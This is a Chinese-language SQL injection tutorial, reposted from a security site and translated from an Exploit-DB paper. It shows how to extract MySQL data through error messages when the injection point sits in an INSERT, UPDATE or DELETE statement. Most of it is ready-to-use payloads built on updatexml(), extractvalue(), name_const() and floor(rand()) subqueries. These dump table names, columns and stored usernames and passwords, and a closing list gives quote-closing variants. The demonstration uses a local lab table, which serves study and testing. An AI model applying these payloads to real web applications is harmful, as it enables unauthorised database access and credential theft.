<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/2078

    0x00 簡介


    利用SQL注入獲取數據庫數據,利用的方法可以大致分為聯合查詢、報錯、布爾盲注以及延時注入,通常這些方法都是基于select查詢語句中的SQL注射點來實現的。那么,當我們發現了一個基于insert、update、delete語句的注射點時(比如有的網站會記錄用戶瀏覽記錄,包括referer、client_ip、user-agent等,還有類似于用戶注冊、密碼修改、信息刪除等功能),還可以用如上方法獲取我們需要的數據嗎?在這里,我們以MYSQL的顯錯為例,看一下如何在insert、update、delete的注射點中獲取我們想要的數據。

    0x01 環境搭建


    為了更好的演示注射效果,我們先利用下面的語句創建原始數據:

    create database newdb;
    use newdb;
    create table users(
    id int(3) not null auto_increment,
    username varchar(20) not null,
    password varchar(20)  not null,
    primary key (id)
    );
    insert into users values(1,'Jane','Eyre');
    

    enter image description here

    看一下當前數據結構:

    enter image description here

    0x02 注入語法


    因為我們這里是用的顯錯模式,所以思路就是在insert、update、delete語句中人為構造語法錯誤,利用如下語句:

    insert into users (id, username, password) values (2,''inject here'','Olivia');
    insert into users (id, username, password) values (2,""inject here"",'Olivia');
    

    enter image description here

    注意:大家看到本來是要填入username字段的地方,我們填了'inject here'和”inject here”兩個字段來實現爆錯,一個是單引號包含、一個是雙引號包含,要根據實際的注入點靈活構造。

    0x03 利用updatexml()獲取數據


    updatexml()函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數。

    payload:

    or updatexml(1,concat(0x7e,(version())),0) or
    

    Insert:

    INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');
    

    enter image description here

    Update:

    UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';
    

    enter image description here

    Delete:

    DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
    

    enter image description here

    提取數據:

    由于篇幅有限,在insert、update、delete用法一致的時候,我會僅以insert為例說明。

    所用的payload為:

    or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or
    

    獲取newdb數據庫表名:

    enter image description here

    獲取users表的列名:

    enter image description here

    利用insert獲取users表的數據:

    enter image description here

    利用delete獲取users表的數據:

    enter image description here

    我們可以用insert、update、delete語句獲取到數據庫表名、列名,但是不能用update獲取當前表的數據:

    enter image description here

    在這里,為了演示用update獲取數據,我們臨時再創建一個含有id,name,address的students表,并插入一條數據:

    enter image description here

    再次利用update獲取users表的數據:

    enter image description here

    如果你碰到一個update的注入并且想獲取當前表的數據的話,可用用雙查詢,我后面會講到。

    0x04 利用extractvalue()獲取數據


    extractvalue()函數也是MYSQL對XML文檔數據進行查詢和修改的XPATH函數。

    payload:

    or extractvalue(1,concat(0x7e,database())) or
    

    Insert:

    INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo');
    

    enter image description here

    update:

    UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';
    

    enter image description here

    delete:

    DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';
    

    enter image description here

    提取數據:

    同樣,在insert、update、delete用法一致的時候,我會僅以insert為例說明。

    獲取newdb數據庫表名:

    INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'', 'Nervo');
    

    enter image description here

    獲取users表的列名:

    INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo');
    

    enter image description here

    獲取users表的數據:

    INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo');
    

    enter image description here

    同樣,我們可以用insert、update、delete語句獲取到數據庫表名、列名,但是不能用update獲取當前表的數據。

    0x05 利用name_const()獲取數據


    name_const()函數是MYSQL5.0.12版本加入的一個返回給定值的函數。當用來產生一個結果集合列時 , NAME_CONST() 促使該列使用給定名稱。

    Payload:

    or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
    

    Insert:

    INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');
    

    update:

    UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';
    

    delete:

    DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';
    

    提取數據:

    在最新的MYSQL版本中,使用name_const()函數只能提取到數據庫的版本信息。但是在一些比較舊的高于5.0.12(包括5.0.12)的MYSQL版本中,可以進一步提取更多數據。在這里我使用MySQL5.0.45進行演示。

    首先,我們做一個簡單的SELECT查詢,檢查我們是否可以提取數據。

    INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');
    

    如果顯示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。

    如果顯示ERROR 1060 (42S21): Duplicate column name '2',就可以進一步獲取更多數據。

    enter image description here

    獲取newdb數據庫表名:

    INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo');
    
    ERROR 1060 (42S21): Duplicate column name 'users'
    

    獲取users表的列名:

    INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo');
    
    ERROR 1060 (42S21): Duplicate column name 'id'
    

    獲取users表的數據:

    INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit
    0,1),1))a) or '', 'Nervo');
    
    ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'
    

    0x06 利用子查詢注入


    原理與select查詢時的顯錯注入一致。

    Insert:

    INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo');
    

    enter image description here

    update:

    UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';
    

    enter image description here

    delete:

    DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;
    

    enter image description here

    提取數據:

    獲取newdb數據庫表名:

    INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo');
    

    enter image description here

    獲取users表的列名:

    INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');
    

    enter image description here

    獲取users表的數據:

    INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');
    

    enter image description here

    0x07 更多閉合變種


    ' or (payload) or '
    ' and (payload) and '
    ' or (payload) and '
    ' or (payload) and '='
    '* (payload) *'
    ' or (payload) and '
    " – (payload) – "
    

    0x08 引用


    http://dev.mysql.com/

    http://websec.ca/kb/sql_injection

    from:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

    97av